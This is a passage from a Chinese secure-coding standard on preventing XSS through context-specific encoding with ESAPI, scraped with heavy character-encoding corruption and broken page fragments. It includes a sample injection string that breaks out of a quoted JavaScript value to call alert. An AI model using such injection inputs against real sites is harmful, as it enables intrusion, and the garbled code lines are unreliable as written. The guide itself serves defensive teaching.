47、產(chǎn)生XSS漏洞,例如:<script>window.setInterval(就算對不可信數(shù)據(jù)進(jìn)行了JavaScript編碼,這里依然會(huì)有XSS漏洞);</script>編碼規(guī)則除了阿拉伯?dāng)?shù)字和字母,對其他所有的字符進(jìn)行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 xHH (以 x 開頭,HH則是指該字符對應(yīng)的十六進(jìn)制數(shù)字)在對不可信數(shù)據(jù)做編碼的時(shí)候,千萬不能圖方便使用反斜杠( )對特殊字符進(jìn)行簡單轉(zhuǎn)義,比如將雙引號 ” 轉(zhuǎn)義成 ” ,這樣做是不可靠的,因?yàn)闉g覽器在對頁面做解析的時(shí)候,會(huì)先進(jìn)行HTML解析,然后才是JavaScript解析,所以雙引號很可能

48、會(huì)被當(dāng)做HTML字符進(jìn)行HTML解析,這時(shí)雙引號就可以突破代碼的值部分,使得攻擊者可以繼續(xù)進(jìn)行XSS攻擊。例如:假設(shè)代碼片段如下:<script>var message = ” $VAR “;</script>攻擊者輸入的內(nèi)容為:”; alert(xss);/如果只是對雙引號進(jìn)行簡單轉(zhuǎn)義,將其替換成 ” 的話,攻擊者輸入的北京恒華偉業(yè)科技股份有限公司 15四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范內(nèi)容在最終的頁面上會(huì)變成:?1 <script>23 var message = ” ”; alert(xss);/ “;45 </script>瀏覽器在解析

49、的時(shí)候,會(huì)認(rèn)為反斜杠后面的那個(gè)雙引號和第一個(gè)雙引號相匹配,繼而認(rèn)為后續(xù)的alert(xss)是正常的JavaScript腳本,因此允許執(zhí)行??梢允褂肊SAPI提供的函數(shù)進(jìn)行JavaScript編碼:String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”);2.6 原則5:在將不可信數(shù)據(jù)插入到Style屬性里時(shí),對這些數(shù)據(jù)進(jìn)行CSS編碼當(dāng)需要往Stylesheet,Style標(biāo)簽或者Style屬性里插入不可信數(shù)據(jù)的時(shí)候,需要對這些數(shù)據(jù)進(jìn)行CSS編碼。傳統(tǒng)印象里CSS不過是負(fù)責(zé)

50、頁面樣式的,但是實(shí)際上它比我們想象的要強(qiáng)大許多,而且還可以用來進(jìn)行各種攻擊。因此,不要對CSS里存放不可信數(shù)據(jù)掉以輕心,應(yīng)該只允許把不可信數(shù)據(jù)放入到CSS屬性的值部分,并進(jìn)行適當(dāng)?shù)木幋a。除此以外,最好不要把不可信數(shù)據(jù)放到一些復(fù)雜屬性里,比如url, behavior等,只能被IE認(rèn)識的Expression屬性允許執(zhí)行JavaScript腳本,因此也不推薦把不可信數(shù)據(jù)放到這里。<style>selector property : 插入不可信數(shù)據(jù)前,進(jìn)行CSS編碼 </style><style>selector property : ”CSS編碼 “ </

51、style><span style=” property : 插入不可信數(shù)據(jù)前,進(jìn)行CSS編碼 ”> </span>北京恒華偉業(yè)科技股份有限公司 16 四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范編碼規(guī)則除了阿拉伯?dāng)?shù)字和字母,對其他所有的字符進(jìn)行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 HH (以 開頭,HH則是指該字符對應(yīng)的十六進(jìn)制數(shù)字)同原則2,原則3,在對不可信數(shù)據(jù)進(jìn)行編碼的時(shí)候,切忌投機(jī)取巧對雙引號等特殊字符進(jìn)行簡單轉(zhuǎn)義,攻擊者可以想辦法繞開這類限制??梢允褂肊SAPI提供的函數(shù)進(jìn)行CSS編碼:String encodedContent = E

52、SAPI.encoder().encodeForCSS(request.getParameter(“input”);2.7 原則6:在將不可信數(shù)據(jù)插入到HTMLURL里時(shí),對這些數(shù)據(jù)進(jìn)行URL編碼當(dāng)需要往HTML頁面中的URL里插入不可信數(shù)據(jù)的時(shí)候,需要對其進(jìn)行URL編碼,如下:<a href=”?param=插入不可信數(shù)據(jù)前,進(jìn)行URL編碼”> Link Content </a>編碼規(guī)則除了阿拉伯?dāng)?shù)字和字母,對其他所有的字符進(jìn)行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 %HH (以 % 開頭,HH則是指該字符對應(yīng)的十六進(jìn)制數(shù)字)在對URL進(jìn)行編碼的

53、時(shí)候,有兩點(diǎn)是需要特別注意的:1) URL屬性應(yīng)該使用引號將值部分包圍起來,否則攻擊者可以很容易突破當(dāng)前屬性區(qū)域,插入后續(xù)攻擊代碼2) 不要對整個(gè)URL進(jìn)行編碼,因?yàn)椴豢尚艛?shù)據(jù)可能會(huì)被插入到href, src或者其他以URL為基礎(chǔ)的屬性里,這時(shí)需要對數(shù)據(jù)的起始部分的協(xié)議字段進(jìn)行驗(yàn)證,否則攻擊者可以改變URL的協(xié)議,例如從HTTP協(xié)議改為DATA偽協(xié)議,或者javascript偽協(xié)議。北京恒華偉業(yè)科技股份有限公司 17四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范可以使用ESAPI提供的函數(shù)進(jìn)行URL編碼:String encodedContent = ESAPI.encoder().encodeForU

54、RL(request.getParameter(“input”);ESAPI還提供了一些用于檢測不可信數(shù)據(jù)的函數(shù),在這里我們可以使用其來檢測不可信數(shù)據(jù)是否真的是一個(gè)URL:?String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = 1 ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, 2 “URL”, 255, false);345 if (isValidURL) 67 <a href=”<%=

55、8 encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a>2.8 原則7:使用富文本時(shí),使用XSS規(guī)則引擎進(jìn)行編碼過濾Web應(yīng)用一般都會(huì)提供用戶輸入富文本信息的功能,比如BBS發(fā)帖,寫博客文章等,用戶提交的富文本信息里往往包含了HTML標(biāo)簽,甚至是JavaScript腳本,如果不對其進(jìn)行適當(dāng)?shù)木幋a過濾的話,則會(huì)形成XSS漏洞。但我們又不能因?yàn)楹ε庐a(chǎn)生XSS漏洞,所以就不允許用戶輸入富文本,這樣對用戶體驗(yàn)傷害很大。針對富文本的特殊性,我們可以使用XSS規(guī)則引擎對用戶輸入進(jìn)行編碼過濾,只允許用戶輸入安全的HTML標(biāo)簽,如<b>, <i>, <p>等,對其他數(shù)據(jù)進(jìn)行HTML編碼。需要注意的是,經(jīng)過規(guī)則引擎編碼過濾后的內(nèi)容只能放在<div>, <p>等安全的HTML標(biāo)簽里,不

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論